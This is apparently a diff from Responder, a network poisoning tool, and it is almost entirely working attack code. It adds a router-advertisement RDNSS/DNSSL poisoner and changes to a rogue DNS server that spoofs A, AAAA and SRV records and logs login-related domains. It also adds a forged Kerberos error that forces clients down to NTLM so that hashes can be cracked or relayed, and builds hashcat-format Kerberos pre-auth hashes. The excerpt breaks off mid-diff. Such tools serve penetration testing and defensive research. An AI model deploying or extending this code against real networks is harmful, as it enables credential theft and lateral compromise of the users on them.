||||
'!BBHI',
|
||||
ND_OPT_RDNSS,
|
||||
length,
|
||||
0, # Reserved
|
||||
self.lifetime
|
||||
)
|
||||
|
||||
return header + addresses
|
||||
|
||||
|
||||
class DNSSLOption:
|
||||
"""DNS Search List Option (Type 31)"""
|
||||
|
||||
def __init__(self, domains, lifetime=RA_LIFETIME):
|
||||
self.domains = domains if isinstance(domains, list) else [domains]
|
||||
self.lifetime = lifetime
|
||||
|
||||
@staticmethod
|
||||
def encode_domain(domain):
|
||||
"""Encode domain name in DNS wire format (RFC 1035)."""
|
||||
encoded = b''
|
||||
for label in domain.rstrip('.').split('.'):
|
||||
label_bytes = label.encode('ascii')
|
||||
encoded += bytes([len(label_bytes)]) + label_bytes
|
||||
encoded += b'\x00' # Root label
|
||||
return encoded
|
||||
|
||||
def build(self):
|
||||
if not self.domains:
|
||||
return b''
|
||||
|
||||
domain_data = b''
|
||||
for domain in self.domains:
|
||||
domain_data += self.encode_domain(domain)
|
||||
|
||||
# Pad to 8-octet boundary
|
||||
header_size = 8
|
||||
total_size = header_size + len(domain_data)
|
||||
padding_needed = (8 - (total_size % 8)) % 8
|
||||
domain_data += b'\x00' * padding_needed
|
||||
|
||||
length = (header_size + len(domain_data)) // 8
|
||||
|
||||
header = struct.pack(
|
||||
'!BBHI',
|
||||
ND_OPT_DNSSL,
|
||||
length,
|
||||
0, # Reserved
|
||||
self.lifetime
|
||||
)
|
||||
|
||||
return header + domain_data
|
||||
|
||||
|
||||
class RouterAdvertisement:
|
||||
"""ICMPv6 Router Advertisement Message"""
|
||||
|
||||
def __init__(self, rdnss=None, dnssl=None, managed=False, other=False, router_lifetime=0):
|
||||
self.cur_hop_limit = 64
|
||||
self.managed_flag = managed
|
||||
self.other_flag = other
|
||||
self.router_lifetime = router_lifetime # 0 = not a default router
|
||||
self.reachable_time = 0
|
||||
self.retrans_timer = 0
|
||||
self.rdnss = rdnss
|
||||
self.dnssl = dnssl
|
||||
|
||||
def build(self):
|
||||
flags = 0
|
||||
if self.managed_flag:
|
||||
flags |= 0x80
|
||||
if self.other_flag:
|
||||
flags |= 0x40
|
||||
|
||||
ra_header = struct.pack(
|
||||
'!BBHBBHII',
|
||||
ICMPV6_ROUTER_ADVERTISEMENT,
|
||||
0, # Code
|
||||
0, # Checksum (placeholder)
|
||||
self.cur_hop_limit,
|
||||
flags,
|
||||
self.router_lifetime,
|
||||
self.reachable_time,
|
||||
self.retrans_timer
|
||||
)
|
||||
|
||||
options = b''
|
||||
if self.rdnss:
|
||||
options += self.rdnss.build()
|
||||
if self.dnssl:
|
||||
options += self.dnssl.build()
|
||||
|
||||
return ra_header + options
|
||||
|
||||
|
||||
def compute_icmpv6_checksum(source, dest, icmpv6_packet):
|
||||
"""Compute ICMPv6 checksum including pseudo-header."""
|
||||
src_addr = socket.inet_pton(socket.AF_INET6, source)
|
||||
dst_addr = socket.inet_pton(socket.AF_INET6, dest)
|
||||
|
||||
pseudo_header = struct.pack(
|
||||
'!16s16sI3xB',
|
||||
src_addr,
|
||||
dst_addr,
|
||||
len(icmpv6_packet),
|
||||
58 # ICMPv6
|
||||
)
|
||||
|
||||
data = pseudo_header + icmpv6_packet
|
||||
if len(data) % 2:
|
||||
data += b'\x00'
|
||||
|
||||
checksum = 0
|
||||
for i in range(0, len(data), 2):
|
||||
word = (data[i] << 8) + data[i + 1]
|
||||
checksum += word
|
||||
|
||||
while checksum >> 16:
|
||||
checksum = (checksum & 0xFFFF) + (checksum >> 16)
|
||||
|
||||
return ~checksum & 0xFFFF
|
||||
|
||||
|
||||
def get_link_local_address(interface):
|
||||
"""Get link-local IPv6 address for interface (required for RA source)."""
|
||||
try:
|
||||
with open('/proc/net/if_inet6', 'r') as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 6 and parts[5] == interface:
|
||||
addr = parts[0]
|
||||
formatted = ':'.join(addr[i:i+4] for i in range(0, 32, 4))
|
||||
if formatted.lower().startswith('fe80'):
|
||||
return formatted
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# Fallback: try netifaces
|
||||
try:
|
||||
import netifaces
|
||||
addrs = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = addr.get('addr', '').split('%')[0]
|
||||
if ipv6.lower().startswith('fe80'):
|
||||
return ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def get_dns_server_address(interface):
|
||||
"""Get IPv6 address to advertise as DNS server. Uses Bind_To6 from settings."""
|
||||
# Use Bind_To6 from settings (set via -6 option or config)
|
||||
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
|
||||
return settings.Config.Bind_To6
|
||||
|
||||
# Fallback: auto-detect from interface
|
||||
try:
|
||||
import netifaces
|
||||
addrs = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
global_ipv6 = None
|
||||
linklocal_ipv6 = None
|
||||
|
||||
for addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = addr.get('addr', '').split('%')[0]
|
||||
if not ipv6 or ipv6 == '::1':
|
||||
continue
|
||||
|
||||
if ipv6.lower().startswith('fe80'):
|
||||
if not linklocal_ipv6:
|
||||
linklocal_ipv6 = ipv6
|
||||
else:
|
||||
if not global_ipv6:
|
||||
global_ipv6 = ipv6
|
||||
|
||||
# Prefer global, fall back to link-local
|
||||
return global_ipv6 or linklocal_ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
# Last resort: link-local
|
||||
return get_link_local_address(interface)
|
||||
|
||||
|
||||
def send_ra(interface, source_ip, dns_server=None, dnssl_domains=None):
|
||||
"""Send a single Router Advertisement."""
|
||||
try:
|
||||
# Build RDNSS option if DNS server specified
|
||||
rdnss = None
|
||||
if dns_server:
|
||||
rdnss = RDNSSOption(dns_servers=[dns_server], lifetime=RA_LIFETIME)
|
||||
|
||||
# Build DNSSL option if domains specified
|
||||
dnssl = None
|
||||
if dnssl_domains:
|
||||
dnssl = DNSSLOption(domains=dnssl_domains, lifetime=RA_LIFETIME)
|
||||
|
||||
# Build RA packet
|
||||
ra = RouterAdvertisement(rdnss=rdnss, dnssl=dnssl)
|
||||
|
||||
# Create raw socket
|
||||
sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface.encode())
|
||||
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, ICMPV6_HOP_LIMIT)
|
||||
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, ICMPV6_HOP_LIMIT)
|
||||
|
||||
# Build packet with checksum
|
||||
packet = bytearray(ra.build())
|
||||
checksum = compute_icmpv6_checksum(source_ip, IPV6_ALL_NODES, bytes(packet))
|
||||
struct.pack_into('!H', packet, 2, checksum)
|
||||
|
||||
# Send to all-nodes multicast
|
||||
sock.sendto(bytes(packet), (IPV6_ALL_NODES, 0, 0, socket.if_nametoindex(interface)))
|
||||
sock.close()
|
||||
|
||||
return True
|
||||
|
||||
except PermissionError:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Root privileges required for raw sockets")
|
||||
return False
|
||||
except OSError as e:
|
||||
if settings.Config.Verbose:
|
||||
print(color("[!] ", 1, 1) + "RDNSS error: %s" % str(e))
|
||||
return False
|
||||
|
||||
|
||||
def RDNSS(interface, rdnss_enabled, dnssl_domain):
|
||||
"""
|
||||
RDNSS/DNSSL Poisoner - Main entry point
|
||||
|
||||
Sends periodic Router Advertisements with DNS options:
|
||||
- RDNSS: Advertises Responder as DNS server (--rdnss)
|
||||
- DNSSL: Injects DNS search suffix (--dnssl)
|
||||
|
||||
Both options are independent and can be used separately or together.
|
||||
|
||||
Args:
|
||||
interface: Network interface to send RAs on
|
||||
rdnss_enabled: If True, include RDNSS option (DNS server)
|
||||
dnssl_domain: If set, include DNSSL option (search suffix)
|
||||
"""
|
||||
# Get source address (must be link-local for RAs per RFC 4861)
|
||||
source_ip = get_link_local_address(interface)
|
||||
if not source_ip:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Could not get link-local address for %s" % interface)
|
||||
return
|
||||
|
||||
# Get DNS server address if RDNSS is enabled
|
||||
dns_server = None
|
||||
if rdnss_enabled:
|
||||
dns_server = get_dns_server_address(interface)
|
||||
if not dns_server:
|
||||
print(color("[!] ", 1, 1) + "RDNSS: Could not determine IPv6 address for DNS server")
|
||||
return
|
||||
|
||||
# Format DNSSL domain
|
||||
domains = None
|
||||
if dnssl_domain:
|
||||
domains = [dnssl_domain] if isinstance(dnssl_domain, str) else dnssl_domain
|
||||
|
||||
# Startup messages
|
||||
if dns_server:
|
||||
print(color("[*] ", 2, 1) + "RDNSS advertising DNS server: %s" % dns_server)
|
||||
if domains:
|
||||
print(color("[*] ", 2, 1) + "DNSSL advertising search domain: %s" % ', '.join(domains))
|
||||
print(color("[*] ", 2, 1) + "Sending RA every %d-%d seconds" % (RA_INTERVAL_MIN, RA_INTERVAL_MAX))
|
||||
print(color("[*] ", 2, 1) + "Avoid self poisoning with: \"sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP\"")
|
||||
|
||||
# Send initial RA
|
||||
send_ra(interface, source_ip, dns_server, domains)
|
||||
|
||||
# Main loop - send RAs at random intervals
|
||||
while True:
|
||||
interval = random.randint(RA_INTERVAL_MIN, RA_INTERVAL_MAX)
|
||||
time.sleep(interval)
|
||||
send_ra(interface, source_ip, dns_server, domains)
|
||||
222
servers/DNS.py
222
servers/DNS.py
@@ -22,8 +22,8 @@
|
||||
# - MX record poisoning for email client authentication capture
|
||||
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
|
||||
# - Logs interesting authentication-related domains
|
||||
# - Short TTL (60s) to ensure frequent re-queries
|
||||
# - IPv6 support for modern networks
|
||||
# - 5 minute TTL for efficient caching
|
||||
# - Proper IPv6 support (uses -6 option, auto-detects, or skips AAAA)
|
||||
# - Domain filtering to target specific domains only
|
||||
#
|
||||
from utils import *
|
||||
@@ -105,8 +105,9 @@ class DNS(BaseRequestHandler):
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
if target_ip:
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
@@ -262,6 +263,14 @@ class DNS(BaseRequestHandler):
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
|
||||
|
||||
# For AAAA queries, only respond if we have a valid IPv6 address
|
||||
# With link-local fallback, this should almost always succeed
|
||||
# Only fails if IPv6 is completely disabled on the system
|
||||
if query_type == 28: # AAAA
|
||||
ipv6 = self.get_ipv6_address()
|
||||
if not ipv6:
|
||||
return False
|
||||
|
||||
# Respond to these query types:
|
||||
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
|
||||
# SVCB (64), HTTPS (65) - Service Binding records
|
||||
@@ -269,13 +278,6 @@ class DNS(BaseRequestHandler):
|
||||
if query_type not in supported_types:
|
||||
return False
|
||||
|
||||
# Check if domain is in analyze mode targets
|
||||
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
|
||||
#if hasattr(settings.Config, 'AnalyzeMode'):
|
||||
#if settings.Config.AnalyzeMode:
|
||||
# In analyze mode, log but don't respond
|
||||
#return False
|
||||
|
||||
# Log interesting queries (authentication-related domains)
|
||||
query_lower = query_name.lower()
|
||||
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
|
||||
@@ -339,23 +341,27 @@ class DNS(BaseRequestHandler):
|
||||
# Class
|
||||
response += struct.pack('>H', query_class)
|
||||
|
||||
# TTL (short to ensure frequent re-queries)
|
||||
response += struct.pack('>I', 60) # 60 seconds
|
||||
# TTL (5 minutes for better caching while still allowing updates)
|
||||
response += struct.pack('>I', 300) # 300 seconds = 5 minutes
|
||||
|
||||
# Get target IP
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
# Get target IP for A records
|
||||
target_ipv4 = self.get_ipv4_address()
|
||||
|
||||
if query_type == 1: # A record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 4)
|
||||
# RDATA (IPv4 address)
|
||||
response += socket.inet_aton(target_ip)
|
||||
response += socket.inet_aton(target_ipv4)
|
||||
|
||||
elif query_type == 28: # AAAA record
|
||||
# Get proper IPv6 address (already validated in should_respond)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
if not ipv6:
|
||||
return None # Should not happen if should_respond worked
|
||||
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 16)
|
||||
# RDATA (IPv6 address)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
response += socket.inet_pton(socket.AF_INET6, ipv6)
|
||||
|
||||
elif query_type == 6: # SOA record (Start of Authority)
|
||||
@@ -413,20 +419,22 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
elif query_type == 33: # SRV record (service discovery)
|
||||
# SRV format: priority, weight, port, target
|
||||
# Useful for capturing Kerberos, LDAP, etc.
|
||||
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
|
||||
# Determine correct port based on service name in query
|
||||
srv_port = self.get_srv_port(query_name)
|
||||
|
||||
srv_data = struct.pack('>HHH', 0, 0, srv_port) # priority, weight, port
|
||||
srv_data += b'\xc0\x0c' # Target (pointer to query name)
|
||||
|
||||
response += struct.pack('>H', len(srv_data))
|
||||
response += srv_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
|
||||
print(color('[DNS] SRV record poisoned: %s -> port %d' % (query_name, srv_port), 3, 1))
|
||||
|
||||
elif query_type == 255: # ANY query
|
||||
# Respond with A record
|
||||
response += struct.pack('>H', 4)
|
||||
response += socket.inet_aton(target_ip)
|
||||
response += socket.inet_aton(target_ipv4)
|
||||
|
||||
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
|
||||
# Service Binding records - respond with alias to same domain
|
||||
@@ -505,55 +513,44 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
def get_target_ip(self, query_type):
|
||||
"""Get the target IP address for spoofed responses"""
|
||||
# Use Responder's configured IP
|
||||
if query_type == 28: # AAAA
|
||||
return self.get_ipv6_address()
|
||||
else: # A record
|
||||
return settings.Config.Bind_To
|
||||
else: # A record and others
|
||||
return self.get_ipv4_address()
|
||||
|
||||
def get_ipv4_address(self):
|
||||
"""Get IPv4 address for A record responses"""
|
||||
# Priority 1: Use ExternalIP if set (-e option)
|
||||
if hasattr(settings.Config, 'ExternalIP') and settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIP
|
||||
|
||||
# Priority 2: Use Bind_To (default)
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def get_ipv6_address(self):
|
||||
"""Get IPv6 address for AAAA responses"""
|
||||
# Priority 1: Use explicitly configured IPv6
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
return settings.Config.Bind_To_IPv6
|
||||
"""
|
||||
Get IPv6 address for AAAA responses
|
||||
|
||||
# Priority 2: Try to detect actual IPv6 on interface
|
||||
try:
|
||||
import netifaces
|
||||
ipv4 = settings.Config.Bind_To
|
||||
|
||||
# Find which interface has this IPv4
|
||||
for iface in netifaces.interfaces():
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
# Check if this interface has our IPv4
|
||||
if netifaces.AF_INET in addrs:
|
||||
for addr in addrs[netifaces.AF_INET]:
|
||||
if addr.get('addr') == ipv4:
|
||||
# Found the interface, get its global IPv6
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
|
||||
# Return first global IPv6 (not link-local fe80::)
|
||||
if ipv6 and not ipv6.startswith('fe80:'):
|
||||
return ipv6
|
||||
except:
|
||||
continue
|
||||
except ImportError:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
Returns the IPv6 address Responder is configured to use:
|
||||
1. ExternalIP6 if set (-6 command line option)
|
||||
2. Bind_To6 (already determined by FindLocalIP6 at startup)
|
||||
|
||||
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
|
||||
# This allows dual-stack clients to connect via IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
return '::ffff:%s' % ipv4
|
||||
except:
|
||||
pass
|
||||
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x) or localhost.
|
||||
"""
|
||||
# Priority 1: Use ExternalIP6 if set (-6 command line option)
|
||||
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
|
||||
ipv6 = settings.Config.ExternalIP6
|
||||
if ipv6 and ipv6 not in ('::1', '') and not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# Last resort: return IPv6 loopback
|
||||
return '::1'
|
||||
# Priority 2: Use Bind_To6 (set by FindLocalIP6 at startup)
|
||||
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
|
||||
ipv6 = settings.Config.Bind_To6
|
||||
if ipv6 and ipv6 not in ('::1', '::') and not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# No valid IPv6 available
|
||||
return None
|
||||
|
||||
def get_type_name(self, query_type):
|
||||
"""Convert query type number to name"""
|
||||
@@ -573,6 +570,100 @@ class DNS(BaseRequestHandler):
|
||||
255: 'ANY'
|
||||
}
|
||||
return types.get(query_type, 'TYPE%d' % query_type)
|
||||
|
||||
def get_srv_port(self, query_name):
|
||||
"""
|
||||
Determine the correct port for SRV record responses based on service name.
|
||||
|
||||
SRV query format: _service._protocol.name
|
||||
Examples:
|
||||
_ldap._tcp.dc._msdcs.domain.local → 389
|
||||
_kerberos._tcp.domain.local → 88
|
||||
_gc._tcp.domain.local → 3268
|
||||
|
||||
Returns appropriate port for the service, defaults to 445 (SMB) if unknown.
|
||||
"""
|
||||
query_lower = query_name.lower()
|
||||
|
||||
# Service to port mapping
|
||||
# Format: (service_pattern, port)
|
||||
srv_ports = [
|
||||
# LDAP services
|
||||
('_ldap._tcp', 389),
|
||||
('_ldap._udp', 389),
|
||||
('_ldaps._tcp', 636),
|
||||
|
||||
# Kerberos services
|
||||
('_kerberos._tcp', 88),
|
||||
('_kerberos._udp', 88),
|
||||
('_kerberos-master._tcp', 88),
|
||||
('_kerberos-master._udp', 88),
|
||||
('_kpasswd._tcp', 464),
|
||||
('_kpasswd._udp', 464),
|
||||
('_kerberos-adm._tcp', 749),
|
||||
|
||||
# Global Catalog (Active Directory)
|
||||
('_gc._tcp', 3268),
|
||||
('_gc._ssl._tcp', 3269),
|
||||
|
||||
# Web services
|
||||
('_http._tcp', 80),
|
||||
('_https._tcp', 443),
|
||||
('_http._ssl._tcp', 443),
|
||||
|
||||
# Email services
|
||||
('_smtp._tcp', 25),
|
||||
('_submission._tcp', 587),
|
||||
('_imap._tcp', 143),
|
||||
('_imaps._tcp', 993),
|
||||
('_pop3._tcp', 110),
|
||||
('_pop3s._tcp', 995),
|
||||
|
||||
# File/Remote services
|
||||
('_smb._tcp', 445),
|
||||
('_cifs._tcp', 445),
|
||||
('_ftp._tcp', 21),
|
||||
('_sftp._tcp', 22),
|
||||
('_ssh._tcp', 22),
|
||||
('_telnet._tcp', 23),
|
||||
('_rdp._tcp', 3389),
|
||||
('_ms-wbt-server._tcp', 3389), # RDP
|
||||
|
||||
# Windows services
|
||||
('_winrm._tcp', 5985),
|
||||
('_winrm-ssl._tcp', 5986),
|
||||
('_wsman._tcp', 5985),
|
||||
('_ntp._udp', 123),
|
||||
|
||||
# Database services
|
||||
('_mssql._tcp', 1433),
|
||||
('_mysql._tcp', 3306),
|
||||
('_postgresql._tcp', 5432),
|
||||
('_oracle._tcp', 1521),
|
||||
|
||||
# SIP/VoIP
|
||||
('_sip._tcp', 5060),
|
||||
('_sip._udp', 5060),
|
||||
('_sips._tcp', 5061),
|
||||
|
||||
# XMPP/Jabber
|
||||
('_xmpp-client._tcp', 5222),
|
||||
('_xmpp-server._tcp', 5269),
|
||||
|
||||
# Other
|
||||
('_finger._tcp', 79),
|
||||
('_ipp._tcp', 631), # Internet Printing Protocol
|
||||
]
|
||||
|
||||
# Check each pattern
|
||||
for pattern, port in srv_ports:
|
||||
if query_lower.startswith(pattern):
|
||||
return port
|
||||
|
||||
# Default to SMB port for unknown services
|
||||
# This is a reasonable default for credential capture
|
||||
return 445
|
||||
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
"""
|
||||
@@ -660,8 +751,9 @@ class DNSTCP(BaseRequestHandler):
|
||||
self.request.sendall(tcp_response)
|
||||
|
||||
target_ip = dns_handler.get_target_ip(query_type)
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
if target_ip:
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
|
||||
@@ -444,6 +444,85 @@ def build_krb_error(realm, cname, sname=None):
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_krb_error_force_ntlm(realm, cname, sname=None):
|
||||
"""
|
||||
Build KRB-ERROR with KDC_ERR_ETYPE_NOSUPP (14)
|
||||
This forces the client to fall back to NTLM authentication
|
||||
|
||||
Useful when you want NetNTLMv2 hashes instead of Kerberos AS-REP:
|
||||
- NetNTLMv2 is often faster to crack
|
||||
- Can be relayed to other services
|
||||
"""
|
||||
|
||||
# Get current time
|
||||
current_time = time.time()
|
||||
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
|
||||
susec = int((current_time - int(current_time)) * 1000000)
|
||||
|
||||
# Build sname (server name)
|
||||
if sname is None:
|
||||
sname = 'krbtgt'
|
||||
|
||||
# Build the inner SEQUENCE
|
||||
inner = b''
|
||||
|
||||
# [0] pvno: 5
|
||||
inner += b'\xa0\x03\x02\x01\x05'
|
||||
|
||||
# [1] msg-type: 30 (KRB-ERROR)
|
||||
inner += b'\xa1\x03\x02\x01\x1e'
|
||||
|
||||
# [4] stime (server time)
|
||||
time_bytes = time_str.encode('ascii')
|
||||
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
|
||||
|
||||
# [5] susec (microseconds)
|
||||
susec_bytes = struct.pack('>I', susec)
|
||||
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
|
||||
susec_bytes = susec_bytes[1:]
|
||||
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
|
||||
|
||||
# [6] error-code: 14 (KDC_ERR_ETYPE_NOSUPP) - forces NTLM fallback
|
||||
inner += b'\xa6\x03\x02\x01\x0e'
|
||||
|
||||
# [9] realm (server realm)
|
||||
realm_bytes = realm.encode('ascii')
|
||||
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
|
||||
|
||||
# [10] sname (server principal name)
|
||||
sname_str = sname.encode('ascii')
|
||||
realm_str = realm.encode('ascii')
|
||||
|
||||
# Build name-string SEQUENCE
|
||||
name_string_seq = b''
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
|
||||
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
|
||||
name_type = b'\xa0\x03\x02\x01\x02'
|
||||
|
||||
# Build PrincipalName SEQUENCE
|
||||
principal_seq = name_type + name_string_tagged
|
||||
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
|
||||
|
||||
# Tag [10]
|
||||
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
|
||||
|
||||
# [11] e-text (error description)
|
||||
etext_str = "KDC has no support for encryption type"
|
||||
etext_bytes = etext_str.encode('ascii')
|
||||
inner += b'\xab' + encode_asn1_length(len(etext_bytes) + 2) + b'\x1b' + encode_asn1_length(len(etext_bytes)) + etext_bytes
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
# Wrap in APPLICATION 30 tag
|
||||
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_pa_data(realm, cname):
|
||||
"""
|
||||
Build PA-DATA sequence for pre-authentication
|
||||
@@ -571,6 +650,9 @@ class KerbTCP(BaseRequestHandler):
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check operation mode
|
||||
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
|
||||
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
@@ -597,14 +679,12 @@ class KerbTCP(BaseRequestHandler):
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
|
||||
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
|
||||
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
@@ -621,24 +701,57 @@ class KerbTCP(BaseRequestHandler):
|
||||
|
||||
# Print the hash
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
|
||||
if etype_num == 0x17 or etype_num == 0x18:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype 23): %s' % hash_value))
|
||||
elif etype_num == 0x12:
|
||||
print(text('[KERB] Use hashcat -m 19900 (etype 18): %s' % hash_value))
|
||||
elif etype_num == 0x11:
|
||||
print(text('[KERB] Use hashcat -m 19800 (etype 17): %s' % hash_value))
|
||||
else:
|
||||
print(text('[KERB] Kerberos hash (etype %d): %s' % (etype_num, hash_value)))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
# First AS-REQ without pre-auth
|
||||
if kerberos_mode == 'FORCE_NTLM':
|
||||
# Force NTLM fallback mode
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR with ETYPE_NOSUPP
|
||||
krb_error = build_krb_error_force_ntlm(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'NTLM-Fallback-Forced',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
|
||||
})
|
||||
else:
|
||||
# Default CAPTURE mode - send pre-auth required
|
||||
if settings.Config.Verbose:
|
||||
